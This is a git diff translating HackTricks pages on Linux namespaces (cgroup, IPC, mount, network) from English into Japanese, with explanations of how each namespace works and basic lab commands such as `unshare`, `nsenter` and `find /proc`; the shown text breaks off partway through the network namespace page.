+**デフォルトでは、コンテナエンジンはユーザー名前空間を利用しませんが、rootlessコンテナはファイルシステムのマウントや複数のUIDを使用するためにそれを必要とします。** ユーザー名前空間はrootlessコンテナに不可欠であり、無効にすることはできず、特権を制限することでセキュリティを大幅に向上させます。 -## References +## 参考文献 - [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 6df879add..f3c45d350 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,44 +1,44 @@ -# Namespaces +# ネームスペース {{#include ../../../../banners/hacktricks-training.md}} -### **PID namespace** +### **PID ネームスペース** {{#ref}} pid-namespace.md {{#endref}} -### **Mount namespace** +### **マウント ネームスペース** {{#ref}} mount-namespace.md {{#endref}} -### **Network namespace** +### **ネットワーク ネームスペース** {{#ref}} network-namespace.md {{#endref}} -### **IPC Namespace** +### **IPC ネームスペース** {{#ref}} ipc-namespace.md {{#endref}} -### **UTS namespace** +### **UTS ネームスペース** {{#ref}} uts-namespace.md {{#endref}} -### Time Namespace +### タイム ネームスペース {{#ref}} time-namespace.md {{#endref}} -### User namespace +### ユーザー ネームスペース {{#ref}} user-namespace.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index d7f4c2d65..5b5a15509 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -2,90 +2,80 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. +cgroup 名前空間は、**名前空間内で実行されているプロセスのための cgroup 階層の隔離を提供する** Linux カーネルの機能です。cgroups(制御グループの略)は、CPU、メモリ、I/O などの**システムリソースに対する制限を管理および強制するためにプロセスを階層的なグループに整理する**ことを可能にするカーネル機能です。 -While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. +cgroup 名前空間は、以前に議論した他の名前空間タイプ(PID、マウント、ネットワークなど)とは異なる独立した名前空間タイプではありませんが、名前空間の隔離の概念に関連しています。**Cgroup 名前空間は cgroup 階層のビューを仮想化し**、cgroup 名前空間内で実行されているプロセスは、ホストや他の名前空間で実行されているプロセスとは異なる階層のビューを持ちます。 -### How it works: +### 仕組み: -1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. -2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. -3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. +1. 新しい cgroup 名前空間が作成されると、**作成プロセスの cgroup に基づいた cgroup 階層のビューから始まります**。これは、新しい cgroup 名前空間内で実行されるプロセスが、作成プロセスの cgroup に根ざした cgroup サブツリーに制限された、全体の cgroup 階層のサブセットのみを表示することを意味します。 +2. cgroup 名前空間内のプロセスは、**自分の cgroup を階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から、自分の cgroup がルートとして表示され、他のサブツリーの外にある cgroups を見ることもアクセスすることもできないことを意味します。 +3. cgroup 名前空間はリソースの隔離を直接提供するわけではありません; **cgroup 階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup** サブシステム(例: cpu、memory など)自体によって依然として強制されます。 -For more information about CGroups check: +CGroups に関する詳細情報は次を確認してください: {{#ref}} ../cgroups.md {{#endref}} -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間を作成する #### CLI - ```bash sudo unshare -C [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
-Error: bash: fork: Cannot allocate memory +エラー: bash: fork: メモリを割り当てできません -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: -1. **Problem Explanation**: +1. **問題の説明**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 -2. **Consequence**: +2. **結果**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解決策**: +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' ``` - -### Find all CGroup namespaces - +### すべてのCGroup名前空間を見つける ```bash sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an CGroup namespace - +### CGroupネームスペースに入る ```bash nsenter -C TARGET_PID --pid /bin/bash ``` +また、**ルートでない限り、他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに**入ることはできません**(例えば、`/proc/self/ns/cgroup`のように)。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). - -## References +## 参考文献 - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 14b23338a..5c9bb1128 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -2,83 +2,72 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. +IPC(Inter-Process Communication)名前空間は、メッセージキュー、共有メモリセグメント、セマフォなどのSystem V IPCオブジェクトの**隔離**を提供するLinuxカーネルの機能です。この隔離により、**異なるIPC名前空間のプロセスは互いのIPCオブジェクトに直接アクセスしたり、変更したりできない**ため、プロセスグループ間のセキュリティとプライバシーが追加されます。 -### How it works: +### 仕組み: -1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. -2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. +1. 新しいIPC名前空間が作成されると、**完全に隔離されたSystem V IPCオブジェクトのセット**から始まります。これは、新しいIPC名前空間で実行されるプロセスが、デフォルトで他の名前空間やホストシステムのIPCオブジェクトにアクセスしたり干渉したりできないことを意味します。 +2. 名前空間内で作成されたIPCオブジェクトは、その名前空間内のプロセスにのみ**表示され、アクセス可能**です。各IPCオブジェクトは、その名前空間内で一意のキーによって識別されます。キーは異なる名前空間で同一である可能性がありますが、オブジェクト自体は隔離されており、名前空間を越えてアクセスすることはできません。 +3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWIPC`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたIPCオブジェクトを使用し始めます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間を作成する #### CLI - ```bash sudo unshare -i [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
-Error: bash: fork: Cannot allocate memory +エラー: bash: fork: メモリを割り当てることができません -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: -1. **Problem Explanation**: +1. **問題の説明**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 -2. **Consequence**: +2. **結果**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に新しい PID を割り当てる `alloc_pid` 関数が失敗し、「メモリを割り当てることができません」というエラーが発生します。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解決策**: +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` - -### Find all IPC namespaces - +### すべてのIPCネームスペースを見つける ```bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an IPC namespace - +### IPCネームスペースに入る ```bash nsenter -i TARGET_PID --pid /bin/bash ``` +また、**ルートでない限り、他のプロセス名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/net`のように)。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -### Create IPC object - +### IPCオブジェクトを作成する ```bash # Container sudo unshare -i /bin/bash @@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status # From the host ipcs -m # Nothing is seen ``` - -## References +## 参考文献 - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 7cdc2cf0d..8abd53f9c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -1,71 +1,64 @@ -# Mount Namespace +# マウントネームスペース {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. +マウントネームスペースは、プロセスのグループが見るファイルシステムのマウントポイントを隔離するLinuxカーネルの機能です。各マウントネームスペースは独自のファイルシステムマウントポイントのセットを持ち、**あるネームスペースのマウントポイントへの変更は他のネームスペースに影響を与えません**。これは、異なるマウントネームスペースで実行されているプロセスがファイルシステム階層の異なるビューを持つことができることを意味します。 -Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. +マウントネームスペースは、各コンテナが他のコンテナやホストシステムから隔離された独自のファイルシステムと構成を持つべきであるコンテナ化に特に便利です。 -### How it works: +### 仕組み: -1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. -2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. -3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. -4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. +1. 新しいマウントネームスペースが作成されると、**親ネームスペースからのマウントポイントのコピーで初期化されます**。これは、作成時に新しいネームスペースが親と同じファイルシステムのビューを共有することを意味します。しかし、その後のネームスペース内のマウントポイントへの変更は、親や他のネームスペースに影響を与えません。 +2. プロセスがそのネームスペース内のマウントポイントを変更すると、例えばファイルシステムをマウントまたはアンマウントする場合、**変更はそのネームスペースにローカルであり**、他のネームスペースには影響を与えません。これにより、各ネームスペースは独自の独立したファイルシステム階層を持つことができます。 +3. プロセスは`setns()`システムコールを使用してネームスペース間を移動することができ、`unshare()`または`clone()`システムコールを`CLONE_NEWNS`フラグと共に使用して新しいネームスペースを作成することができます。プロセスが新しいネームスペースに移動するか、新しいネームスペースを作成すると、そのネームスペースに関連付けられたマウントポイントを使用し始めます。 +4. **ファイルディスクリプタとinodeはネームスペース間で共有されます**。つまり、あるネームスペースのプロセスがファイルを指すオープンファイルディスクリプタを持っている場合、その**ファイルディスクリプタを他のネームスペースのプロセスに渡すことができ**、**両方のプロセスが同じファイルにアクセスします**。ただし、マウントポイントの違いにより、ファイルのパスは両方のネームスペースで同じではない場合があります。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なるネームスペースを作成する #### CLI - ```bash sudo unshare -m [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
-Error: bash: fork: Cannot allocate memory +エラー: bash: fork: メモリを割り当てることができません -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: -1. **Problem Explanation**: +1. **問題の説明**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 -2. **Consequence**: +2. **結果**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解決策**: +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' ``` - -### Find all Mount namespaces - +### すべてのマウントネームスペースを見つける ```bash sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace @@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ```bash findmnt ``` - -### Enter inside a Mount namespace - +### マウントネームスペースに入る ```bash nsenter -m TARGET_PID --pid /bin/bash ``` +また、**ルートでなければ他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに**入ることはできません**(例えば `/proc/self/ns/mnt` のように)。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). - -Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it. - -### Mount something +新しいマウントはネームスペース内でのみアクセス可能であるため、ネームスペースにはそれからのみアクセス可能な機密情報が含まれている可能性があります。 +### 何かをマウントする ```bash # Generate new mount ns unshare -m /bin/bash @@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq vmware-root_662-2689143848 ``` - -## References +## 参考文献 - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 8ab89ce7f..ee5689c5c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -1,86 +1,76 @@ -# Network Namespace +# ネットワーク名前空間 {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. +ネットワーク名前空間は、ネットワークスタックの隔離を提供するLinuxカーネルの機能であり、**各ネットワーク名前空間が独自のネットワーク構成**、インターフェース、IPアドレス、ルーティングテーブル、およびファイアウォールルールを持つことを可能にします。この隔離は、各コンテナが他のコンテナやホストシステムとは独立したネットワーク構成を持つべきであるコンテナ化など、さまざまなシナリオで有用です。 -### How it works: +### 仕組み: -1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. -2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. -3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. -4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. +1. 新しいネットワーク名前空間が作成されると、**完全に隔離されたネットワークスタック**が開始され、ループバックインターフェース(lo)を除いて**ネットワークインターフェースは存在しません**。これは、新しいネットワーク名前空間内で実行されているプロセスが、デフォルトでは他の名前空間やホストシステムのプロセスと通信できないことを意味します。 +2. vethペアのような**仮想ネットワークインターフェース**を作成し、ネットワーク名前空間間で移動させることができます。これにより、名前空間間または名前空間とホストシステム間でネットワーク接続を確立できます。たとえば、vethペアの一方の端をコンテナのネットワーク名前空間に配置し、もう一方の端をホスト名前空間の**ブリッジ**または別のネットワークインターフェースに接続することで、コンテナにネットワーク接続を提供します。 +3. 名前空間内のネットワークインターフェースは、他の名前空間とは独立して**独自のIPアドレス、ルーティングテーブル、およびファイアウォールルール**を持つことができます。これにより、異なるネットワーク名前空間内のプロセスは異なるネットワーク構成を持ち、別々のネットワークシステム上で実行されているかのように動作できます。 +4. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWNET`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたネットワーク構成とインターフェースを使用し始めます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間を作成する #### CLI - ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
-Error: bash: fork: Cannot allocate memory +エラー: bash: fork: メモリを割り当てできません -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法によりエラーが発生します。重要な詳細と解決策は以下の通りです: -1. **Problem Explanation**: +1. **問題の説明**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux 